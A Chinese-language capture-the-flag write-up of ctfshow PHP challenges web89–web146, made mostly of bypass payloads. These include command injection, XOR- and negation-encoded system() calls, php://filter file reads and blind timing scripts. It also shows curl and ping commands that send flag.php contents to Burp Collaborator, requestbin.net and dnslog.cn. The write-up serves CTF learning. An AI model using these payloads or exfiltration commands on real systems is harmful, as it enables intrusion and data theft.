php中ctfshow的特性是什么
本篇文章为大家展示了php中ctfshow的特性是什么,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
web89~数组绕过preg_match
preg_match - 执行匹配正则表达式
返回值:
**preg_match()返回
pattern
的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject
直到到达结尾。 如果发生错误preg_match()**返回FALSE
。
数组绕过
当匹配数组是返回false绕过。
?num[]=1
web90~intval函数
intval()函数用于获取变量的整数值。
intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
int intval ( mixed $var [, int $base = 10 ] )参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
传参一个数既要使其不强等于4476
,又要使得intaval
函数处理后的结果强等于4476
,结合上述函数解释
构造
?num=4476a
web91~/m之%0a绕过
题目要求,传参 cmd.
但是第一个正则匹配要求多行匹配
php
,但是另一个要求有去掉修饰符m
要求不匹配php
.那么就应该能想到是截断。第一个匹配多行,第二个只匹配单行,那么我们可以构造
php%0ap
进行匹配,当多行匹配的时候前后都是p
,还可以这里有有两个条件,第一个需要是php,第二个又不可以php,不过有个差距就是m模式,/m代表匹配多行数据,第一个if有匹配到第二行的php,而第二个if匹配不到为假。
CVE-2017-15715
https://blog.csdn.net/qq_46091464/article/details/108278486
web92~intval八十六进制科学计数法绕过
同样考点是
intval
,但这道题不同于web90,而是弱比较,所以说4476a
等肯定不行的。这里用到十六进制
0x117c
或者八进制010574
https://www.runoob.com/php/php-intval-function.html
也可以科学计数法
4476e2
,在第一个if会计数比较,在intval
函数中会被看做字符串。web93~intval八进制绕过
过滤了字母,但我们可以使用八进制
010574
web94~八进制,小数点绕过
strpos
查找 "php" 在字符串中第一次出现的位置:strpos() 函数对大小写敏感。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
比上一关增加条件,strpos函数限制了传参第一位不能为0,如果为0,就die.
但是如果找不到的话又会die.
仔细观察这里时强等于。
我们可以在八进制前加一个空格
?num= 010574
或者用小数点
?num=4476.0
或者再加个 +
?num=+4476.0
web95~空格加八进制绕intval
又增加过滤了
.
构造
空格+八进制
?num= 010574也可以
?num=+010574?num=%2b010574web96~绝对路径相对路径
可以看到不能直接等于
flag.php
,但是我们可以构造路劲让其显示
?u=/var/www/html/flag.php?u=./flag.phpweb97~md5数组绕过
这里是强比较。
弱比较的话可以百度有好多md5加密后是0e开头的,弱比较 0=0
强比较
如果传入
md5
函数的不是字符串而是数组,那么就会返回null
, null=null绕过。构造
a[]=1&b[]=2还有md5强碰撞
https://blog.csdn.net/EC_Carrot/article/details/109525162
https://www.cnblogs.com/kuaile1314/p/11968108.html
web98~三元运算地址引用
Notice: Undefined index: flag in /var/www/html/index.php on line 15Notice: Undefined index: flag in /var/www/html/index.php on line 16Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17三元符运算,和传址(引用)
$_GET?$_GET=&$_POST:'flag'; //只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)那么看最后要求
$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__
那么我们就可以直接随意get传参一个,然后post传参HTTP_FLAG=flag
即可获得flag.看看wp:
https://www.php.cn/php-notebook-172859.html https://www.php.cn/php-weizijiaocheng-383293.html 考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码web99~in_array()漏洞
、意为当没有设置第三个函数时,比较是会自动转换数据类型,也就是弱比较。
那么我们传入
1.php
就相当于若等于1
.构造
/?n=1.php# postcontent=web100~运算符优先级,反射类
Notice: Undefined index: v1 in /var/www/html/index.php on line 17Notice: Undefined index: v2 in /var/www/html/index.php on line 18Notice: Undefined index: v3 in /var/www/html/index.php on line 19这里有问题,又学费了。
php
=
的运算符竟然比and
高。https://www.jb51.net/article/42425.htm
&& > || > = > and > or
https://www.php.net/manual/zh/language.operators.precedence.php
所以这时候就很清晰明了了。
只需要传入的
v1
值是数字。v3
必须有;
。构造
# 直接输出$ctfshow;构造出 var_dump($ctfshow);?v1=1&v2=var_dump($ctfshow)/*&v3=*/;?v1=1&v2=var_dump(new ctfshow())/*&v3=*/;# 因为过滤的字符比较少,所以可以直接执行命令。?v1=1&v2=system('ls')/*&v3=*/;/?v1=1&v2=system('ls')&v3=; # 会报错但也可出来反射类: https://www.php.net/manual/zh/class.reflectionclass.php
?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/;?v1=1&v2=echo new ReflectionClass&v3=;反射类用法:
";}}$a=new ReflectionClass('A');var_dump($a->getConstants()); 获取一组常量输出 array(1) { ["PI"]=> float(3.14)}var_dump($a->getName()); 获取类名输出string(1) "A"var_dump($a->getStaticProperties()); 获取静态属性输出array(1) { ["flag"]=> string(15) "flag{123123123}"}var_dump($a->getMethods()); 获取类中的方法输出array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=>string(5) "hello" ["class"]=>string(1) "A" }}https://blog.csdn.net/miuzzx/article/details/109168454
解出来
flag_is_d3e0a1060x2d8b970x2d4f790x2db73d0x2d542e6338bca7有点小坑,仔细看才发现有好多
0x2d
flag{d3e0a106-8b97-4f79-b73d-542e6338bca7}web101~反射类
Notice: Undefined index: v1 in /var/www/html/index.php on line 17Notice: Undefined index: v2 in /var/www/html/index.php on line 18Notice: Undefined index: v3 in /var/www/html/index.php on line 19跟上道题差不多,过滤的严了一些。过滤掉了
\
和反引号,单引号,括号。只能用反射类了。
构造
?v1=1&v2=echo new ReflectionClass&v3=;同样结果注意flag格式
web102~hex2bin,base64编码后都为数字
Notice: Undefined index: v1 in /var/www/html/index.php on line 14Notice: Undefined index: v2 in /var/www/html/index.php on line 15Notice: Undefined index: v3 in /var/www/html/index.php on line 16hacker这里要求
v2
是数字,并且截取第三位后的字符作为call_user_func
的第二个参数。
v1
作为call_user_func
的第一个参数。
v3
作为file_put_contents
的文件名。
call_user_func($v1,$s);
返回结果作为file_put_contents
的第二参数。is_numeric 函数是又漏洞的,再 php5 版本下是可以识别十六进制的。也就是说,如果传入
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(的十六进制)
也是可以识别为数字的。但此题是 php7 环境。不可以。
要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入
get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.phppost: v1=hex2bin关键就是什么代码base64编码后再转为十六进制为全数字
$a='=`cat *`;';$b=base64_encode($a); // PD89YGNhdCAqYDs=$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。输出 5044383959474e6864434171594473带e的话会被认为是科学计数法,可以通过is_numeric检测。同时因为经过substr处理,所以v2前面还要补两位数字。
构造
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php# postv1=hex2bin或者
GETv2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.phpPOSTv1=hex2bin#访问1.php后查看源代码获得flag# 115044383959474e6864434171594473 16进制转字符 PD89YGNhdCAqYDs base64解码 =`cat *YDsweb103~hex2bin
Notice: Undefined index: v1 in /var/www/html/index.php on line 14Notice: Undefined index: v2 in /var/www/html/index.php on line 15Notice: Undefined index: v3 in /var/www/html/index.php on line 16hacker相比上关过滤了
php
.用上关payload也可以打通。
web104~sha1弱相等
sha1 - 计算字符串的 sha1 散列值. 返回 sha1 散列值字符串。
sha1()函数无法处理数组类型,将报错并返回false,
所以构造
?v2[]=1# postv1[]=1
这里没有判断两值是否相等,所以也可以传入两个相等的数。
?v2=2v1=2
还有几个弱比较相等的字符串
aaroZmOkaaK1STfYaaO8zKZFaa3OFF9m
web105~$$变量覆盖
$value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value;}foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value;}if(!($_POST['flag']==$flag)){ die($error);}echo "your are good".$flag."\n";die($suces);?>你还想要flag嘛?
变量覆盖。
代码审计,直接传入
?suces=flag# posterror=suces
这里把suces
和 error
都覆盖成了 $flag
,所以不管die 哪个,都会输出flag.
web106~sha1弱比较
数组绕过。
还有
aaroZmOkaaK1STfYaaO8zKZFaa3OFF9m
web107~MD5弱比较
MD5弱类型比较。
parse_str() 函数把查询字符串解析到变量中。
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
数组绕过
md5加密数组会返回NULL,$v2['flag'] 也是NULL。
?v3[]=1v1[]=flag=0
弱比较绕过
0e开头的md5和原值:QNKCDZO0e8304004519934940580242199033912406107080e462097431906509019562988736854s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514s1502113478a0e861580163291561247404381396064s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s155964671a0e342768416822451524974117254469s1184209335a0e072485820392773389523109082030s1665632922a0e731198061491163073197128363787s1502113478a0e861580163291561247404381396064s1836677006a0e481036490867661113260034900752s1091221200a0e940624217856561557816327384675s155964671a0e342768416822451524974117254469s1502113478a0e861580163291561247404381396064s155964671a0e342768416822451524974117254469s1665632922a0e731198061491163073197128363787s155964671a0e342768416822451524974117254469s1091221200a0e940624217856561557816327384675s1836677006a0e481036490867661113260034900752s1885207154a0e509367213418206700842008763514s532378020a0e220463095855511507588041205815s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s214587387a0e848240448830537924465865611904s1502113478a0e861580163291561247404381396064s1091221200a0e940624217856561557816327384675s1665632922a0e731198061491163073197128363787s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s1665632922a0e731198061491163073197128363787s878926199a0e545993274517709034328855841020
web108~ereg 截断漏洞
error
ereg - 正则表达式匹配
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用截断正则匹配
0x36d
是 877
所以构造
?c=aaaaa778
当通过strrev
和intval
的时候,为 877
web109~反射类,异常处理
payload:
?v1=ReflectionClass&v2=system('ls')?v1=Exception&v2=system('ls')
web110~FilesystemIterator类读取文件
考察点:FilesystemIterator类的使用(作用就是获取当前目录文件)
payload:
?v1=FilesystemIterator&v2=getcwd
http://phpff.com/filesystemiterator
web111~全局变量GLOBALS引用
/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); }}?>
php变量地址引用。可以利用全局变量来进行赋值给ctfshow这个变量
payload:
?v1=ctfshow&v2=GLOBALS
web112~php伪协议
is_file() 函数检查指定的文件名是否是正常的文件。如果文件存在且为正常的文件,则返回 true。
苦苦不知道flag在哪里,原来就在falg.php
payload:
?file=php://filter/resource=flag.php?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php?file=compress.zlib://flag.php
web113~/proc/self/root
压缩过滤器绕过
?file=compress.zlib://flag.php在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file.。?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.phpphp的一个小 trick. 具体看这里
web114~filter
过滤了
compress
,上面的非预期也就不能用了。但
filter
没过滤。payload :
?file=php://filter/resource=flag.phpweb115~fuzz绕is_numeric,trim
trim函数的绕过+is_numeric绕过
语法trim(string,charlist)参数 描述string 必需。规定要检查的字符串。charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:"\0" - NULL"\t" - 制表符"\n" - 换行"\x0B" - 垂直制表符"\r" - 回车" " - 空格测试代码:
for ($i=0; $i <128 ; $i++) { $x=chr($i).'1'; if(is_numeric($x)==true){ echo urlencode(chr($i))."\n"; }}输出了
%09 %0A %0B %0C %0D + %2B - .
再来看看 trim+is_numeric
for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; }}输出
%0C %2B - . 0 1 2 3 4 5 6 7 8 9而
%2B (+)
、-
、.
被过滤。所以构造?num=36web123~php变量命名,_SERVER['argv'];
php变量命名是不允许使用点号的,所以
isset($_POST['CTF_SHOW.COM'])
就很难搞。本地暴破一下:
1.php
python脚本:
import requestsurl = "http://127.0.0.1/1/1.php";for i in range(0,125): i = chr(i) for j in range(0, 125): j = chr(j) param = "CTF"+i+"SHOW"+j+"COM" data={ param:1, } #print(param) reponse = requests.post(url=url,data=data) page_text = reponse.text if "CTF_SHOW.COM" in page_text: print(i+'\t'+j+'\n') print(page_text)成功爆破出。
[ .
测试一下:
string(1) "1" }接下来看看
$SERVER['argv']
的作用。1、cli模式(命令行)下第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项设置register_argc_argv = On(默认是Off),重启服务,$_SERVER['argv']才会有效果
这时候的$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
$argv,$argc在web模式下不适用
因为我们是在网页模式下运行的,所以
$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过eval("$c".";");
将$flag赋值flag_give_me就可以了。我们传值
?$fl0g=flag_give_me;
(记得有分号,后边需要eval执行),然后此时$a[0]="$fl0g=flag_give_me;"
,我们让eval("$c".";");
中的 $c 变为eval($a[0])
即可成功使 fl0g 变量成功赋值。paylaod:
GET:?$fl0g=flag_give_me;POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])非预期解:
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flagPOST: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以这个题本来的的预期解是:
get: a=1+fl0g=flag_give_mepost: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])但是按理说这样也可以的呀:
get: fl0g=flag_give_mepost: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[0])https://blog.csdn.net/miuzzx/article/details/109181768
应该又是环境问题。
web125~argv,parse_str
被过滤了其他方法,
payload
get: a=1+fl0g=flag_give_mepost: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])还有:
GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])web126~argv,assert
payload:
GET:?a=1+fl0g=flag_give_mePOST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])orGET:?$fl0g=flag_give_mePOST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])web127~fuzz代替_
|\.|\\\|\//', $url)){ return true; }else{ return false; }}if(waf($url)){ die("嗯哼?");}else{ extract($_GET);}if($ctf_show==='ilove36d'){ echo $flag;}fuzz:
1.php
python:
import requestsimport urllib.parseurl = "http://127.0.0.1/1/1.php"for i in range(0,125): # print(i) i = chr(i) p = "ctf"+i+"show" # p = urllib.parse.quote(p) param = { p:"ilove36d" } reponse = requests.get(url=url,params=param) page = (reponse.text) if "flaggg" in page: print(i) print(page) print("------------------")得到
flagggg------------------.flagggg------------------[flagggg------------------_flagggg------------------Process finished with exit code 0这里其他被ban了,只能使用 空格
?ctf show=ilove36dweb128~gettext拓展,get_defined_vars获取已定义变量
gettext拓展的使用.
https://www.cnblogs.com/lost-1987/articles/3309693.html
https://www.php.net/manual/zh/book.gettext.php
所以
call_user_func('_','phpinfo')
返回的就是phpinfoget_defined_vars - 返回由所有已定义变量所组成的数组 这样可以获得 $flag
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
get_defined_vars ( void ) : array此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。payload:
?f1=_&f2=get_defined_varsweb129~stripos包含特定绕过
0){ echo readfile($f); }}
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
返回值: | 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。 |
---|---|
PHP 版本: | 5+ |
目录穿越:
?f=/ctfshow/../var/www/html/flag.php?f=./ctfshow/../flag.php
还可以php伪协议
payload:
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
还可以远程文件包含。在自己服务器上写一个命名 ctfshow.txt
.
web130~正则
very very very(省略25万个very)ctfshow
直接 post ,正则匹配到
ctfshow
与匹配规则不符 ,同时stripos
在第0 匹配, 而0=== FALSE为假绕过。f=ctfshowweb131(修复130)~正则最大回溯
very very very(省略25万个very)ctfshow
利用正则最大回溯次数绕过
https://www.laruence.com/2010/06/08/1579.html
在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
写个py脚本:
import requestsurl = "http://b6f3a9c0-3da1-44b5-8cee-fedece8ae121.chall.ctf.show/"param = "very"*250000+"36Dctfshow"data = { 'f':param,}print(param)reponse = requests.post(url=url,data=data)print(reponse.text)得到Falg
web132~运算符 && ||
打开是一个网站。
直接扫目录,扫到
/admin/
if绕过
if(false && false || ture)payload
/admin/index.php?code=admin&username=admin&password=web133~无回显rce,curl
分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能
但是,如果我们传递的参数就是$F
本身,会不会发生变量覆盖?
那我们来一个简单的测试,get传参 F=`$F `;sleep 3经过substr($F,0,6)截取后 得到 `$F `;也就是会执行 eval("`$F `;");我们把原来的$F带进去eval("``$F `;sleep 3`");也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");前面的命令我们不需要管,但是后面的命令我们可以自由控制。这样就在服务器上成功执行了 sleep 3所以 最后就是一道无回显的RCE题目了然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
payload:
#其中-F 为带文件的形式发送post请求#xx是上传文件的name值,flag.php就是上传的文件 ?F=`$F `;curl -X POST -F xx=@flag.php http://xxx执行payload
?F=`$F `;curl -X POST -F xx=@flag.php http://rrm5fjnnoqnekm19gqkc8q8dl4rvfk.burpcollaborator.net之后就会在burp上收到 flag.php的内容,
其他方法:
利用网站 http://requestbin.net
?F=`$F `;curl http://requestbin.net/r/1g8bsc01?p=`cat flag.php|grep flag`参照:
https://blog.csdn.net/qq_46091464/article/details/109095382
web134~POST数组的覆盖
parse_str() 函数把查询字符串解析到变量中。
extract() 函数从数组中将变量导入到当前的符号表。
POST数组的覆盖
可以看到以GET 传参_POST[a]
相当于post传参 a 效果。
构造paylaod
?_POST[key1]=36d&_POST[key2]=36d
web135~rce nl,cp,mv
在133的基础上增加了curl和其他一些字符的过滤,
可以写文件。
?F=`$F `;nl flag*>1.txt也可以
?F=`$F`; cp flag.php 2.txt?F=`$F`; mv flag.php 3.txthttp://dnslog.cn/
申请一个域名。但是这种方法不行,可能域名前缀不行吧。
payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cnweb136~linux tee命令
|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); }}if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c);}else{ highlight_file(__FILE__);}?>把重定向符、mv、cp禁用了。
linux中
tee
命令·。tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件
tee [OPTION]... [FILE]...构造payload:
?c=ls /|tee 1?c=awk '/f/' /f149_15_h4r3|tee 1web137~class:fun()
call_user_func - 把第一个参数作为回调函数调用
第一个参数
callback
是被调用的回调函数,其余参数是回调函数的参数。
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
也就是说双冒号可以不用实例化类就可以直接调用类中的方法
直接调用getFlag
函数
ctfshow=ctfshow::getFlag
web138~call_user_func数组回调
-1){ die("private function");}call_user_func($_POST['ctfshow']);
这下子把 :
冒号给禁用了。
用call_user_func()来调用一个类里面的方法
call_user_func(array($classname, 'say_hello'));这时候会调用 classname中的 say_hello方法
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); }}if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c);}else{ highlight_file(__FILE__);}?>
试了,没有写权限没所以不能写入文件了。
也没有回显。
师傅们的脚本。
猜测文件名:
import requestsimport timeimport stringstr = string.ascii_letters + string.digitsresult = ""for i in range(1, 5): key = 0 for j in range(1, 15): if key == 1: break for n in str: payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n) # print(payload) url = "http://5c76069b-da3c-40a2-ac52-718a1c84fe56.chall.ctf.show/?c=" + payload try: requests.get(url, timeout=(2.5, 2.5)) except: result = result + n print(result) break if n == '9': key = 1 result += " "
得到flag所在文件 f149_15_h4r3,接着盲注文件内容
import requestsimport timeimport stringstr=string.digits+string.ascii_lowercase+"-"result=""key=0for j in range(1,45): print(j) if key==1: break for n in str: payload="if [ `cat /f149_15_h4r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n) #print(payload) url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break
web140~弱比较函数调用
intval($code) == 'ctfshow'
弱比较,所以只需要将 $code 等于字母或者 0 即可。f1=md5&f2=phpinfof1=md5&f2=md5f1=sha1&f2=getcwdwe141~取反-执行php命令
/^\W+$/
作用是匹配非数字字母下划线的字符.php中
1-phpinfo();
可以执行phpinfo()命令的。取反构造
payload:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)- # system(ls)?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)- # system('cat flag.php')取反脚本
web142
直接
?v1=0?v1=0x0web143~异或 *
过滤了加减我们还可以用乘除,过滤了~我们可以用异或构造命令。
异或脚本:
=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }}}fwrite($myfile,$contents);fclose($myfile);# -*- coding: utf-8 -*-import requestsimport urllibfrom sys import *import osdef action(arg): s1="" s2="" for i in arg: f=open("xor_rce.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"^\""+s2+"\")" return(output)while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" print(param)payload:
?v1=1&v2=1&v3=*("%0d"^"%60%60%60%60%60%60")(""^"%60%60%60%20%60%2a")*web144~异或
\W 匹配非字母、数字、下划线。等价于 '[^A-Za-z0-9_]'。
直接构造 paylaod:
# system(ls)?v1=1&v3=1&v2=-("%0d"^"%60%60%60%60%60%60")(""^"%60%60")# system('cat f*')?v1=1&v3=1&v2=-("%0d"^"%60%60%60%60%60%60")(""^"%60%60%60%20%60%2a")
web145~三元运算符
|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } }}
把- * ^ "
取反绕过。
取反脚本:
构造
system(ls)
(~%8C%86%8C%8B%9A%92)(~%93%8C)但是不知道如何使它执行,那么fuzz一波。
结果
? :
也就是
return 1?system(ls):1
payload:
?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5):web146~等号,位运算
|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } }}接着把 三目运算过滤了。
利用
等号和位运算符
绕过。payload:
?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)||?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|web147
上述内容就是php中ctfshow的特性是什么,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。